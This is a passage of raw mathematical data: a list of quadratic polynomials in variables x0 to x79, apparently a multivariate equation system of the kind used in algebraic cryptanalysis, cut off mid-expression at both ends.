x54*x62 + x54*x63 + x54*x65 + x54*x70 + x54*x71 + x54*x72 + x54*x74 + x54*x76 + x55*x58 + x55*x60 + x55*x61 + x55*x62 + x55*x63 + x55*x64 + x55*x65 + x55*x66 + x55*x67 + x55*x69 + x55*x71 + x55*x72 + x55*x74 + x55*x78 + x55*x79 + x55 + x56*x57 + x56*x58 + x56*x59 + x56*x61 + x56*x62 + x56*x64 + x56*x66 + x56*x67 + x56*x69 + x56*x72 + x56*x74 + x56*x75 + x56*x77 + x57*x62 + x57*x66 + x57*x67 + x57*x68 + x57*x69 + x57*x70 + x57 + x58*x59 + x58*x60 + x58*x64 + x58*x65 + x58*x67 + x58*x68 + x58*x69 + x58*x70 + x58*x73 + x58*x74 + x58*x75 + x58*x76 + x58*x77 + x58*x78 + x58*x79 + x59*x62 + x59*x63 + x59*x66 + x59*x68 + x59*x69 + x59*x71 + x59*x72 + x59*x76 + x59*x78 + x59*x79 + x59 + x60*x61 + x60*x65 + x60*x69 + x60*x71 + x60*x73 + x60*x76 + x60*x77 + x60*x78 + x60 + x61*x63 + x61*x69 + x61*x70 + x61*x71 + x61*x73 + x61*x76 + x61*x78 + x61*x79 + x62*x63 + x62*x65 + x62*x66 + x62*x69 + x62*x70 + x62*x71 + x62*x74 + x62*x75 + x62*x76 + x62*x78 + x62*x79 + x62 + x63*x64 + x63*x65 + x63*x67 + x63*x68 + x63*x69 + x63*x71 + x63*x72 + x63*x73 + x63*x75 + x63*x76 + x64*x66 + x64*x67 + x64*x68 + x64*x69 + x64*x77 + x64*x79 + x64 + x65*x67 + x65*x68 + x65*x70 + x65*x71 + x65*x72 + x65*x76 + x65*x78 + x65 + x66*x67 + x66*x70 + x66*x71 + x66*x73 + x66*x76 + x66*x77 + x66*x78 + x67*x69 + x67*x70 + x67*x71 + x67*x72 + x67*x73 + x67*x76 + x67*x77 + x67 + x68*x69 + x68*x70 + x68*x71 + x68*x75 + x68*x76 + x68*x79 + x68 + x69*x70 + x69*x74 + x69*x75 + x69*x78 + x70*x73 + x70*x75 + x70*x77 + x70*x78 + x70*x79 + x71*x72 + x71*x74 + x71*x75 + x72*x74 + x72*x77 + x72*x78 + x72*x79 + x72 + x73*x74 + x73*x76 + x73*x78 + x73*x79 + x74*x76 + x74*x77 + x74 + x75*x77 + x75*x79 + x76*x78 + x78*x79, x0*x1 + x0*x2 + x0*x3 + x0*x4 + x0*x5 + x0*x7 + x0*x8 + x0*x9 + x0*x10 + x0*x11 + x0*x13 + x0*x14 + x0*x18 + x0*x22 + x0*x23 + x0*x26 + x0*x31 + x0*x34 + x0*x35 + x0*x42 + x0*x44 + x0*x47 + x0*x49 + x0*x52 + x0*x54 + x0*x55 + x0*x57 + x0*x58 + x0*x59 + x0*x60 + x0*x61 + x0*x63 + x0*x64 + x0*x65 + x0*x66 + x0*x72 + x0*x74 + x0*x78 + x0*x79 + x1*x2 + x1*x4 + x1*x6 + x1*x7 + x1*x9 + x1*x11 + x1*x13 + x1*x15 + x1*x16 + x1*x18 + x1*x20 + x1*x21 + x1*x22 + x1*x23 + x1*x24 + x1*x25 + x1*x26 + x1*x27 + x1*x28 + x1*x31 + x1*x34 + x1*x40 + x1*x42 + x1*x43 + x1*x44 + x1*x48 + x1*x51 + x1*x53 + x1*x55 + x1*x58 + x1*x59 + x1*x60 + x1*x63 + x1*x66 + x1*x69 + x1*x70 + x1*x72 + x1*x74 + x1*x75 + x1*x78 + x1*x79 + x1 + x2*x3 + x2*x5 + x2*x6 + x2*x8 + x2*x10 + x2*x13 + x2*x14 + x2*x15 + x2*x19 + x2*x24 + x2*x27 + x2*x28 + x2*x30 + x2*x32 + x2*x33 + x2*x35 + x2*x38 + x2*x39 + x2*x40 + x2*x41 + x2*x43 + x2*x44 + x2*x47 + x2*x49 + x2*x50 + x2*x53 + x2*x56 + x2*x58 + x2*x63 + x2*x64 + x2*x65 + x2*x70 + x2*x74 + x2*x78 + x2*x79 + x3*x6 + x3*x7 + x3*x8 + x3*x11 + x3*x13 + x3*x15 + x3*x17 + x3*x19 + x3*x26 + x3*x27 + x3*x28 + x3*x29 + x3*x33 + x3*x37 + x3*x39 + x3*x43 + x3*x44 + x3*x45 + x3*x46 + x3*x48 + x3*x49 + x3*x50 + x3*x54 + x3*x55 + x3*x56 + x3*x57 + x3*x58 + x3*x59 + x3*x60 + x3*x61 + x3*x66 + x3*x67 + x3*x68 + x3*x69 + x3*x70 + x3*x72 + x3*x77 + x3*x78 + x4*x6 + x4*x8 + x4*x9 + x4*x17 + x4*x18 + x4*x23 + x4*x24 + x4*x27 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x32 + x4*x33 + x4*x34 + x4*x36 + x4*x41 + x4*x42 + x4*x43 + x4*x44 + x4*x46 + x4*x47 + x4*x49 + x4*x50 + x4*x55 + x4*x57 + x4*x58 + x4*x61 + x4*x66 + x4*x67 + x4*x68 + x4*x69 + x4*x70 + x4*x71 + x4*x72 + x4*x73 + x4*x74 + x4*x75 + x4*x76 + x4*x77 + x4*x78 + x4 + x5*x8 + x5*x12 + x5*x13 + x5*x16 + x5*x18 + x5*x21 + x5*x24 + x5*x25 + x5*x31 + x5*x32 + x5*x33 + x5*x35 + x5*x37 + x5*x38 + x5*x40 + x5*x41 + x5*x43 + x5*x45 + x5*x49 + x5*x50 + x5*x54 + x5*x55 + x5*x57 + x5*x60 + x5*x62 + x5*x64 + x5*x74 + x5*x76 + x5 + x6*x11 + x6*x13 + x6*x14 + x6*x16 + x6*x17 + x6*x19 + x6*x20 + x6*x21 + x6*x22 + x6*x24 + x6*x25 + x6*x26 + x6*x28 + x6*x29 + x6*x30 + x6*x31 + x6*x33 + x6*x34 + x6*x36 + x6*x41 + x6*x44 + x6*x45 + x6*x46 + x6*x47 + x6*x48 + x6*x51 + x6*x53 + x6*x54 + x6*x55 + x6*x57 + x6*x59 + x6*x60 + x6*x62 + x6*x64 + x6*x66 + x6*x69 + x6*x71 + x6*x75 + x6*x78 + x6*x79 + x6 + x7*x8 + x7*x10 + x7*x14 + x7*x15 + x7*x17 + x7*x20 + x7*x23 + x7*x24 + x7*x25 + x7*x26 + x7*x28 + x7*x30 + x7*x31 + x7*x33 + x7*x38 + x7*x39 + x7*x40 + x7*x41 + x7*x42 + x7*x44 + x7*x45 + x7*x48 + x7*x49 + x7*x51 + x7*x52 + x7*x56 + x7*x59 + x7*x66 + x7*x67 + x7*x68 + x7*x69 + x7*x70 + x7*x71 + x7*x72 + x7*x73 + x7*x75 + x7*x76 + x8*x9 + x8*x11 + x8*x16 + x8*x18 + x8*x20 + x8*x22 + x8*x23 + x8*x25 + x8*x26 + x8*x27 + x8*x28 + x8*x30 + x8*x31 + x8*x35 + x8*x37 + x8*x38 + x8*x39 + x8*x43 + x8*x47 + x8*x52 + x8*x53 + x8*x55 + x8*x56 + x8*x57 + x8*x58 + x8*x62 + x8*x69 + x8*x72 + x8*x73 + x8*x75 + x8*x78 + x8*x79 + x8 + x9*x10 + x9*x11 + x9*x14 + x9*x15 + x9*x16 + x9*x19 + x9*x20 + x9*x21 + x9*x23 + x9*x24 + x9*x26 + x9*x28 + x9*x29 + x9*x33 + x9*x34 + x9*x35 + x9*x36 + x9*x38 + x9*x39 + x9*x40 + x9*x42 + x9*x44 + x9*x45 + x9*x46 + x9*x55 + x9*x60 + x9*x62 + x9*x63 + x9*x64 + x9*x65 + x9*x66 + x9*x69 + x9*x70 + x9*x72 + x9*x74 + x9*x75 + x9*x76 + x9*x77 + x9*x79 + x10*x12 + x10*x14 + x10*x16 + x10*x17 + x10*x18 + x10*x20 + x10*x22 + x10*x25 + x10*x27 + x10*x28 + x10*x29 + x10*x35 + x10*x36 + x10*x37 + x10*x41 + x10*x42 + x10*x43 + x10*x44 + x10*x45 + x10*x47 + x10*x48 + x10*x50 + x10*x53 + x10*x54 + x10*x56 + x10*x58 + x10*x61 + x10*x63 + x10*x64 + x10*x65 + x10*x68 + x10*x73 + x10*x76 + x10*x77 + x11*x12 + x11*x14 + x11*x15 + x11*x16 + x11*x19 + x11*x23 + x11*x24 + x11*x25 + x11*x26 + x11*x27 + x11*x29 + x11*x30 + x11*x32 + x11*x33 + x11*x34 + x11*x40 + x11*x44 + x11*x46 + x11*x50 + x11*x52 + x11*x53 + x11*x54 + x11*x55 + x11*x58 + x11*x62 + x11*x65 + x11*x66 + x11*x68 + x11*x69 + x11*x72 + x11*x73 + x12*x13 + x12*x14 + x12*x15 + x12*x16 + x12*x19 + x12*x20 + x12*x23 + x12*x24 + x12*x25 + x12*x26 + x12*x30 + x12*x31 + x12*x35 + x12*x36 + x12*x40 + x12*x41 + x12*x42 + x12*x44 + x12*x56 + x12*x58 + x12*x59 + x12*x60 + x12*x64 + x12*x65 + x12*x69 + x12*x75 + x12*x77 + x12*x79 + x12 + x13*x14 + x13*x15 + x13*x18 + x13*x19 + x13*x20 + x13*x25 + x13*x26 + x13*x27 + x13*x28 + x13*x36 + x13*x37 + x13*x38 + x13*x42 + x13*x44 + x13*x45 + x13*x47 + x13*x49 + x13*x52 + x13*x54 + x13*x55 + x13*x60 + x13*x61 + x13*x62 + x13*x63 + x13*x64 + x13*x66 + x13*x67 + x13*x75 + x14*x16 + x14*x17 + x14*x18 + x14*x21 + x14*x22 + x14*x23 + x14*x25 + x14*x26 + x14*x31 + x14*x32 + x14*x38 + x14*x39 + x14*x43 + x14*x44 + x14*x45 + x14*x49 + x14*x51 + x14*x52 + x14*x54 + x14*x55 + x14*x57 + x14*x58 + x14*x61 + x14*x64 + x14*x65 + x14*x67 + x14*x69 + x14*x70 + x14*x71 + x14*x72 + x14*x73 + x14*x74 + x14*x75 + x14*x76 + x14*x77 + x14*x79 + x14 + x15*x18 + x15*x21 + x15*x24 + x15*x26 + x15*x27 + x15*x29 + x15*x30 + x15*x31 + x15*x32 + x15*x34 + x15*x35 + x15*x36 + x15*x38 + x15*x40 + x15*x43 + x15*x47 + x15*x55 + x15*x56 + x15*x60 + x15*x62 + x15*x65 + x15*x66 + x15*x67 + x15*x69 + x15*x70 + x15*x72 + x15*x74 + x15*x75 + x15*x76 + x15*x77 + x16*x17 + x16*x20 + x16*x22 + x16*x23 + x16*x27 + x16*x31 + x16*x33 + x16*x34 + x16*x35 + x16*x36 + x16*x38 + x16*x42 + x16*x45 + x16*x46 + x16*x47 + x16*x48 + x16*x49 + x16*x52 + x16*x54 + x16*x55 + x16*x56 + x16*x57 + x16*x58 + x16*x59 + x16*x60 + x16*x61 + x16*x69 + x16*x70 + x16*x72 + x16*x73 + x16*x74 + x16*x77 + x16*x78 + x16*x79 + x16 + x17*x21 + x17*x24 + x17*x30 + x17*x38 + x17*x39 + x17*x40 + x17*x41 + x17*x42 + x17*x43 + x17*x44 + x17*x48 + x17*x49 + x17*x51 + x17*x52 + x17*x53 + x17*x55 + x17*x56 + x17*x57 + x17*x61 + x17*x62 + x17*x66 + x17*x68 + x17*x72 + x17*x73 + x17*x77 + x18*x20 + x18*x22 + x18*x23 + x18*x24 + x18*x25 + x18*x27 + x18*x29 + x18*x30 + x18*x32 + x18*x35 + x18*x38 + x18*x39 + x18*x40 + x18*x41 + x18*x43 + x18*x47 + x18*x48 + x18*x50 + x18*x52 + x18*x54 + x18*x56 + x18*x57 + x18*x60 + x18*x63 + x18*x64 + x18*x67 + x18*x68 + x18*x69 + x18*x77 + x18*x79 + x18 + x19*x21 + x19*x22 + x19*x24 + x19*x27 + x19*x31 + x19*x33 + x19*x34 + x19*x35 + x19*x36 + x19*x38 + x19*x39 + x19*x41 + x19*x44 + x19*x45 + x19*x46 + x19*x51 + x19*x52 + x19*x53 + x19*x54 + x19*x57 + x19*x58 + x19*x62 + x19*x63 + x19*x66 + x19*x67 + x19*x71 + x19*x74 + x19*x75 + x19*x76 + x19*x79 + x20*x22 + x20*x23 + x20*x24 + x20*x25 + x20*x26 + x20*x28 + x20*x29 + x20*x31 + x20*x38 + x20*x42 + x20*x44 + x20*x45 + x20*x49 + x20*x51 + x20*x54 + x20*x57 + x20*x60 + x20*x63 + x20*x65 + x20*x66 + x20*x67 + x20*x68 + x20*x69 + x20*x70 + x20*x72 + x20*x74 + x20*x76 + x20*x79 + x21*x22 + x21*x24 + x21*x27 + x21*x29 + x21*x30 + x21*x32 + x21*x36 + x21*x39 + x21*x43 + x21*x44 + x21*x45 + x21*x47 + x21*x48 + x21*x49 + x21*x51 + x21*x55 + x21*x56 + x21*x61 + x21*x62 + x21*x64 + x21*x66 + x21*x69 + x21*x70 + x21*x72 + x21*x73 + x21*x74 + x21*x75 + x21*x76 + x21*x77 + x21*x79 + x22*x24 + x22*x25 + x22*x26 + x22*x27 + x22*x31 + x22*x32 + x22*x34 + x22*x35 + x22*x37 + x22*x41 + x22*x46 + x22*x50 + x22*x52 + x22*x53 + x22*x54 + x22*x58 + x22*x59 + x22*x60 + x22*x61 + x22*x62 + x22*x63 + x22*x64 + x22*x65 + x22*x66 + x22*x67 + x22*x69 + x22*x71 + x22*x73 + x22*x74 + x22*x75 + x22 + x23*x24 + x23*x26 + x23*x28 + x23*x29 + x23*x32 + x23*x33 + x23*x36 + x23*x37 + x23*x38 + x23*x43 + x23*x45 + x23*x48 + x23*x51 + x23*x53 + x23*x54 + x23*x59 + x23*x60 + x23*x63 + x23*x64 + x23*x65 + x23*x66 + x23*x69 + x23*x73 + x23*x74 + x23*x79 + x24*x25 + x24*x28 + x24*x29 + x24*x31 + x24*x35 + x24*x40 + x24*x46 + x24*x50 + x24*x52 + x24*x53 + x24*x57 + x24*x58 + x24*x60 + x24*x61 + x24*x62 + x24*x65 + x24*x66 + x24*x67 + x24*x74 + x24*x75 + x24*x78 + x24 + x25*x26 + x25*x27 + x25*x31 + x25*x33 + x25*x36 + x25*x38 + x25*x39 + x25*x42 + x25*x43 + x25*x46 + x25*x47 + x25*x48 + x25*x50 + x25*x51 + x25*x52 + x25*x55 + x25*x59 + x25*x60 + x25*x61 + x25*x62 + x25*x63 + x25*x64 + x25*x65 + x25*x70 + x25*x71 + x25*x76 + x25*x79 + x25 + x26*x27 + x26*x28 + x26*x34 + x26*x35 + x26*x36 + x26*x40 + x26*x42 + x26*x43 + x26*x44 + x26*x47 + x26*x48 + x26*x51 + x26*x52 + x26*x53 + x26*x54 + x26*x61 + x26*x64 + x26*x66 + x26*x68 + x26*x71 + x26*x72 + x26*x73 + x26*x77 + x27*x29 + x27*x32 + x27*x33 + x27*x35 + x27*x37 + x27*x39 + x27*x41 + x27*x42 + x27*x44 + x27*x45 + x27*x46 + x27*x48 + x27*x49 + x27*x52 + x27*x53 + x27*x54 + x27*x56 + x27*x60 + x27*x62 + x27*x66 + x27*x67 + x27*x69 + x27*x70 + x27*x71 + x27*x76 + x27*x78 + x27*x79 + x27 + x28*x31 + x28*x34 + x28*x35 + x28*x37 + x28*x39 + x28*x40 + x28*x41 + x28*x45 + x28*x46 + x28*x47 + x28*x48 + x28*x51 + x28*x52 + x28*x60 + x28*x62 + x28*x63 + x28*x65 + x28*x69 + x28*x72 + x28*x78 + x28 + x29*x30 + x29*x32 + x29*x35 + x29*x38 + x29*x42 + x29*x43 + x29*x44 + x29*x48 + x29*x50 + x29*x51 + x29*x52 + x29*x53 + x29*x54 + x29*x55 + x29*x56 + x29*x57 + x29*x60 + x29*x61 + x29*x62 + x29*x65 + x29*x69 + x29*x72 + x29*x73 + x29*x74 + x29*x77 + x30*x32 + x30*x33 + x30*x36 + x30*x42 + x30*x45 + x30*x46 + x30*x52 + x30*x53 + x30*x54 + x30*x57 + x30*x58 + x30*x60 + x30*x61 + x30*x62 + x30*x63 + x30*x66 + x30*x71 + x30*x72 + x30*x73 + x30*x76 + x30*x79 + x30 + x31*x35 + x31*x38 + x31*x40 + x31*x48 + x31*x49 + x31*x50 + x31*x54 + x31*x55 + x31*x56 + x31*x61 + x31*x64 + x31*x65 + x31*x66 + x31*x68 + x31*x70 + x31*x73 + x31*x74 + x31*x78 + x31*x79 + x32*x33 + x32*x35 + x32*x36 + x32*x37 + x32*x39 + x32*x40 + x32*x41 + x32*x43 + x32*x44 + x32*x45 + x32*x46 + x32*x47 + x32*x49 + x32*x50 + x32*x52 + x32*x53 + x32*x58 + x32*x62 + x32*x63 + x32*x65 + x32*x67 + x32*x70 + x32*x71 + x32*x72 + x32*x74 + x32*x76 + x32*x79 + x32 + x33*x35 + x33*x36 + x33*x37 + x33*x38 + x33*x39 + x33*x41 + x33*x43 + x33*x44 + x33*x45 + x33*x46 + x33*x47 + x33*x51 + x33*x52 + x33*x57 + x33*x58 + x33*x59 + x33*x60 + x33*x61 + x33*x62 + x33*x63 + x33*x67 + x33*x69 + x33*x72 + x33*x73 + x33*x74 + x33*x75 + x33*x76 + x33*x77 + x33*x78 + x33*x79 + x34*x35 + x34*x36 + x34*x37 + x34*x38 + x34*x39 + x34*x41 + x34*x42 + x34*x43 + x34*x44 + x34*x45 + x34*x47 + x34*x49 + x34*x51 + x34*x52 + x34*x55 + x34*x57 + x34*x58 + x34*x60 + x34*x61 + x34*x62 + x34*x64 + x34*x65 + x34*x69 + x34*x71 + x34*x72 + x34*x74 + x34*x77 + x34*x79 + x35*x41 + x35*x42 + x35*x43 + x35*x46 + x35*x47 + x35*x49 + x35*x54 + x35*x58 + x35*x59 + x35*x60 + x35*x61 + x35*x63 + x35*x65 + x35*x71 + x35*x73 + x35*x74 + x35*x75 + x35*x76 + x35*x77 + x35*x78 + x35*x79 + x35 + x36*x38 + x36*x39 + x36*x40 + x36*x41 + x36*x43 + x36*x45 + x36*x46 + x36*x48 + x36*x51 + x36*x52 + x36*x53 + x36*x55 + x36*x58 + x36*x59 + x36*x61 + x36*x63 + x36*x65 + x36*x66 + x36*x68 + x36*x69 + x36*x70 + x36*x71 + x36*x73 + x36*x75 + x36*x76 + x36*x77 + x36 + x37*x38 + x37*x39 + x37*x45 + x37*x48 + x37*x51 + x37*x53 + x37*x54 + x37*x57 + x37*x63 + x37*x64 + x37*x65 + x37*x67 + x37*x68 + x37*x69 + x37*x70 + x37*x71 + x37*x72 + x37*x73 + x37*x74 + x37*x76 + x37*x78 + x37 + x38*x40 + x38*x42 + x38*x43 + x38*x46 + x38*x47 + x38*x51 + x38*x56 + x38*x60 + x38*x61 + x38*x62 + x38*x63 + x38*x67 + x38*x68 + x38*x69 + x38*x71 + x38*x72 + x38*x78 + x38*x79 + x38 + x39*x40 + x39*x42 + x39*x44 + x39*x49 + x39*x50 + x39*x52 + x39*x53 + x39*x54 + x39*x56 + x39*x60 + x39*x61 + x39*x63 + x39*x64 + x39*x65 + x39*x67 + x39*x68 + x39*x69 + x39*x70 + x39*x72 + x39*x73 + x39*x76 + x39*x78 + x39*x79 + x40*x41 + x40*x42 + x40*x43 + x40*x44 + x40*x45 + x40*x46 + x40*x47 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x54 + x40*x55 + x40*x56 + x40*x57 + x40*x62 + x40*x65 + x40*x66 + x40*x68 + x40*x69 + x40*x71 + x40*x74 + x40*x76 + x40*x77 + x40*x78 + x41*x42 + x41*x45 + x41*x46 + x41*x47 + x41*x50 + x41*x53 + x41*x54 + x41*x55 + x41*x57 + x41*x58 + x41*x59 + x41*x60 + x41*x62 + x41*x64 + x41*x65 + x41*x66 + x41*x70 + x41*x74 + x41*x75 + x41*x77 + x41*x78 + x41*x79 + x42*x44 + x42*x46 + x42*x49 + x42*x50 + x42*x51 + x42*x53 + x42*x55 + x42*x57 + x42*x58 + x42*x59 + x42*x60 + x42*x62 + x42*x63 + x42*x64 + x42*x65 + x42*x68 + x42*x70 + x42*x71 + x42*x73 + x42 + x43*x46 + x43*x55 + x43*x58 + x43*x60 + x43*x62 + x43*x65 + x43*x68 + x43*x70 + x43*x71 + x43*x73 + x43*x75 + x44*x46 + x44*x53 + x44*x54 + x44*x58 + x44*x61 + x44*x63 + x44*x64 + x44*x65 + x44*x68 + x44*x70 + x44*x72 + x44*x73 + x44*x75 + x44*x77 + x44 + x45*x47 + x45*x50 + x45*x51 + x45*x53 + x45*x54 + x45*x57 + x45*x58 + x45*x60 + x45*x61 + x45*x63 + x45*x64 + x45*x66 + x45*x69 + x45*x70 + x45*x71 + x45*x76 + x45*x77 + x45*x78 + x45*x79 + x45 + x46*x48 + x46*x50 + x46*x52 + x46*x55 + x46*x56 + x46*x57 + x46*x58 + x46*x60 + x46*x62 + x46*x65 + x46*x67 + x46*x74 + x46*x77 + x46*x78 + x46 + x47*x48 + x47*x50 + x47*x54 + x47*x56 + x47*x59 + x47*x62 + x47*x63 + x47*x68 + x47*x71 + x47*x72 + x47*x73 + x47*x74 + x47*x76 + x47*x77 + x47*x78 + x47 + x48*x49 + x48*x53 + x48*x55 + x48*x56 + x48*x57 + x48*x58 + x48*x59 + x48*x61 + x48*x62 + x48*x63 + x48*x64 + x48*x68 + x48*x69 + x48*x74 + x48*x76 + x48*x78 + x49*x50 + x49*x51 + x49*x53 + x49*x56 + x49*x59 + x49*x60 + x49*x61 + x49*x62 + x49*x63 + x49*x67 + x49*x70 + x49*x71 + x49*x72 + x49*x74 + x49*x75 + x49*x76 + x49*x77 + x50*x51 + x50*x53 + x50*x54 + x50*x58 + x50*x59 + x50*x62 + x50*x63 + x50*x64 + x50*x66 + x50*x67 + x50*x68 + x50*x69 + x50*x70 + x50*x74 + x50*x75 + x50*x78 + x50*x79 + x51*x52 + x51*x53 + x51*x54 + x51*x56 + x51*x57 + x51*x58 + x51*x59 + x51*x60 + x51*x63 + x51*x64 + x51*x65 + x51*x66 + x51*x67 + x51*x69 + x51*x70 + x51*x72 + x51*x73 + x51*x76 + x51*x78 + x52*x55 + x52*x56 + x52*x57 + x52*x58 + x52*x61 + x52*x70 + x52*x75 + x52*x76 + x52*x77 + x52*x78 + x52*x79 + x52 + x53*x55 + x53*x57 + x53*x61 + x53*x65 + x53*x66 + x53*x68 + x53*x69 + x53*x72 + x53*x75 + x53*x76 + x53*x77 + x53*x79 + x54*x55 + x54*x57 + x54*x58 + x54*x59 + x54*x61 + x54*x64 + x54*x66 + x54*x67 + x54*x68 + x54*x70 + x54*x71 + x54*x72 + x54*x74 + x54 + x55*x56 + x55*x58 + x55*x59 + x55*x62 + x55*x63 + x55*x64 + x55*x67 + x55*x68 + x55*x70 + x55*x71 + x55*x72 + x55*x74 + x55*x75 + x55*x76 + x55*x77 + x55 + x56*x57 + x56*x58 + x56*x59 + x56*x60 + x56*x61 + x56*x62 + x56*x63 + x56*x64 + x56*x66 + x56*x67 + x56*x74 + x56*x75 + x56*x78 + x56*x79 + x56 + x57*x58 + x57*x59 + x57*x61 + x57*x64 + x57*x65 + x57*x68 + x57*x71 + x57*x77 + x57*x79 + x58*x59 + x58*x63 + x58*x64 + x58*x67 + x58*x68 + x58*x69 + x58*x70 + x58*x71 + x58*x73 + x58*x75 + x58*x76 + x59*x60 + x59*x62 + x59*x64 + x59*x65 + x59*x67 + x59*x68 + x59*x73 + x59*x77 + x59*x78 + x59 + x60*x62 + x60*x63 + x60*x64 + x60*x66 + x60*x69 + x60*x70 + x60*x73 + x60*x74 + x60*x77 + x60*x78 + x60 + x61*x62 + x61*x63 + x61*x64 + x61*x68 + x61*x69 + x61*x70 + x61*x72 + x61*x75 + x61*x78 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x71 + x62*x73 + x62*x74 + x62*x76 + x62*x78 + x62*x79 + x63*x64 + x63*x65 + x63*x68 + x63*x72 + x63*x73 + x63*x74 + x63*x75 + x63*x76 + x63*x77 + x63 + x64*x65 + x64*x68 + x64*x69 + x64*x70 + x64*x72 + x64*x75 + x64*x76 + x64*x77 + x64*x79 + x65*x66 + x65*x68 + x65*x69 + x65*x70 + x65*x71 + x65*x74 + x65*x75 + x65*x77 + x65*x79 + x65 + x66*x68 + x66*x70 + x66*x74 + x66*x76 + x66*x77 + x66*x79 + x66 + x67*x68 + x67*x70 + x67*x74 + x67*x75 + x67*x76 + x67*x78 + x67*x79 + x68*x69 + x68*x71 + x68*x72 + x68*x75 + x68 + x69*x70 + x69*x72 + x69*x73 + x69*x74 + x69*x75 + x69*x77 + x69*x78 + x69*x79 + x69 + x70*x71 + x70*x72 + x70*x73 + x70*x76 + x70*x77 + x70*x79 + x71*x73 + x71*x75 + x71*x76 + x71*x77 + x71*x79 + x72*x78 + x72 + x73*x75 + x74*x75 + x74*x76 + x74*x77 + x74*x78 + x74*x79 + x75*x77 + x75*x78 + x75 + x76*x78 + x76 + x77*x79 + x78 + x79 + 1, x0*x1 + x0*x2 + x0*x3 + x0*x7 + x0*x9 + x0*x10 + x0*x11 + x0*x12 + x0*x13 + x0*x14 + x0*x15 + x0*x16 + x0*x18 + x0*x21 + x0*x24 + x0*x27 + x0*x31 + x0*x32 + x0*x33 + x0*x34 + x0*x39 + x0*x41 + x0*x43 + x0*x46 + x0*x47 + x0*x48 + x0*x49 + x0*x51 + x0*x52 + x0*x53 + x0*x54 + x0*x55 + x0*x57 + x0*x61 + x0*x63 + x0*x69 + x0*x70 + x0*x75 + x0*x77 + x0*x79 + x0 + x1*x2 + x1*x4 + x1*x5 + x1*x8 + x1*x9 + x1*x10 + x1*x11 + x1*x12 + x1*x14 + x1*x15 + x1*x16 + x1*x17 + x1*x18 + x1*x25 + x1*x26 + x1*x27 + x1*x28 + x1*x30 + x1*x32 + x1*x34 + x1*x35 + x1*x37 + x1*x39 + x1*x40 + x1*x41 + x1*x43 + x1*x44 + x1*x46 + x1*x48 + x1*x50 + x1*x51 + x1*x52 + x1*x54 + x1*x56 + x1*x57 + x1*x58 + x1*x59 + x1*x61 + x1*x63 + x1*x64 + x1*x65 + x1*x67 + x1*x70 + x1*x71 + x1*x75 + x1*x77 + x1*x78 + x1 + x2*x3 + x2*x4 + x2*x7 + x2*x8 + x2*x9 + x2*x10 + x2*x12 + x2*x13 + x2*x17 + x2*x18 + x2*x21 + x2*x23 + x2*x26 + x2*x30 + x2*x34 + x2*x37 + x2*x38 + x2*x39 + x2*x43 + x2*x44 + x2*x45 + x2*x48 + x2*x49 + x2*x51 + x2*x54 + x2*x55 + x2*x60 + x2*x61 + x2*x62 + x2*x63 + x2*x65 + x2*x67 + x2*x74 + x2 + x3*x4 + x3*x6 + x3*x8 + x3*x10 + x3*x12 + x3*x13 + x3*x15 + x3*x16 + x3*x20 + x3*x23 + x3*x26 + x3*x28 + x3*x29 + x3*x30 + x3*x32 + x3*x38 + x3*x40 + x3*x43 + x3*x45 + x3*x47 + x3*x49 + x3*x50 + x3*x51 + x3*x54 + x3*x58 + x3*x61 + x3*x63 + x3*x66 + x3*x70 + x3*x71 + x3*x76 + x3*x77 + x3*x78 + x3*x79 + x3 + x4*x5 + x4*x6 + x4*x11 + x4*x12 + x4*x14 + x4*x15 + x4*x18 + x4*x20 + x4*x21 + x4*x23 + x4*x26 + x4*x28 + x4*x31 + x4*x32 + x4*x35 + x4*x37 + x4*x40 + x4*x41 + x4*x45 + x4*x46 + x4*x47 + x4*x49 + x4*x52 + x4*x55 + x4*x62 + x4*x63 + x4*x64 + x4*x67 + x4*x71 + x4*x73 + x4*x77 + x4*x78 + x4 + x5*x6 + x5*x7 + x5*x16 + x5*x17 + x5*x18 + x5*x19 + x5*x22 + x5*x23 + x5*x25 + x5*x27 + x5*x28 + x5*x30 + x5*x36 + x5*x39 + x5*x40 + x5*x41 + x5*x45 + x5*x46 + x5*x48 + x5*x50 + x5*x51 + x5*x53 + x5*x54 + x5*x56 + x5*x58 + x5*x59 + x5*x61 + x5*x65 + x5*x67 + x5*x68 + x5*x69 + x5*x71 + x5*x73 + x5*x78 + x5*x79 + x6*x7 + x6*x8 + x6*x11 + x6*x12 + x6*x17 + x6*x18 + x6*x19 + x6*x22 + x6*x23 + x6*x24 + x6*x25 + x6*x26 + x6*x27 + x6*x29 + x6*x31 + x6*x33 + x6*x36 + x6*x38 + x6*x39 + x6*x40 + x6*x41 + x6*x42 + x6*x46 + x6*x47 + x6*x50 + x6*x53 + x6*x58 + x6*x61 + x6*x64 + x6*x66 + x6*x69 + x6*x70 + x6*x72 + x6*x75 + x6*x78 + x6*x79 + x6 + x7*x9 + x7*x11 + x7*x15 + x7*x26 + x7*x28 + x7*x29 + x7*x30 + x7*x36 + x7*x39 + x7*x40 + x7*x41 + x7*x44 + x7*x46 + x7*x47 + x7*x48 + x7*x57 + x7*x59 + x7*x60 + x7*x62 + x7*x63 + x7*x64 + x7*x67 + x7*x68 + x7*x70 + x7*x71 + x7*x72 + x7*x77 + x7*x78 + x7*x79 + x8*x10 + x8*x14 + x8*x18 + x8*x20 + x8*x21 + x8*x22 + x8*x24 + x8*x25 + x8*x27 + x8*x28 + x8*x29 + x8*x31 + x8*x32 + x8*x35 + x8*x36 + x8*x37 + x8*x39 + x8*x43 + x8*x45 + x8*x49 + x8*x50 + x8*x52 + x8*x53 + x8*x54 + x8*x57 + x8*x59 + x8*x60 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x67 + x8*x69 + x8*x71 + x8*x74 + x8*x75 + x8*x77 + x8 + x9*x10 + x9*x11 + x9*x16 + x9*x17 + x9*x18 + x9*x19 + x9*x20 + x9*x21 + x9*x25 + x9*x34 + x9*x37 + x9*x38 + x9*x41 + x9*x44 + x9*x46 + x9*x47 + x9*x48 + x9*x49 + x9*x52 + x9*x55 + x9*x56 + x9*x57 + x9*x58 + x9*x59 + x9*x65 + x9*x66 + x9*x71 + x9*x72 + x9*x73 + x9*x74 + x9*x76 + x9*x77 + x10*x12 + x10*x18 + x10*x21 + x10*x22 + x10*x23 + x10*x28 + x10*x31 + x10*x32 + x10*x33 + x10*x35 + x10*x36 + x10*x37 + x10*x41 + x10*x42 + x10*x43 + x10*x44 + x10*x45 + x10*x48 + x10*x49 + x10*x50 + 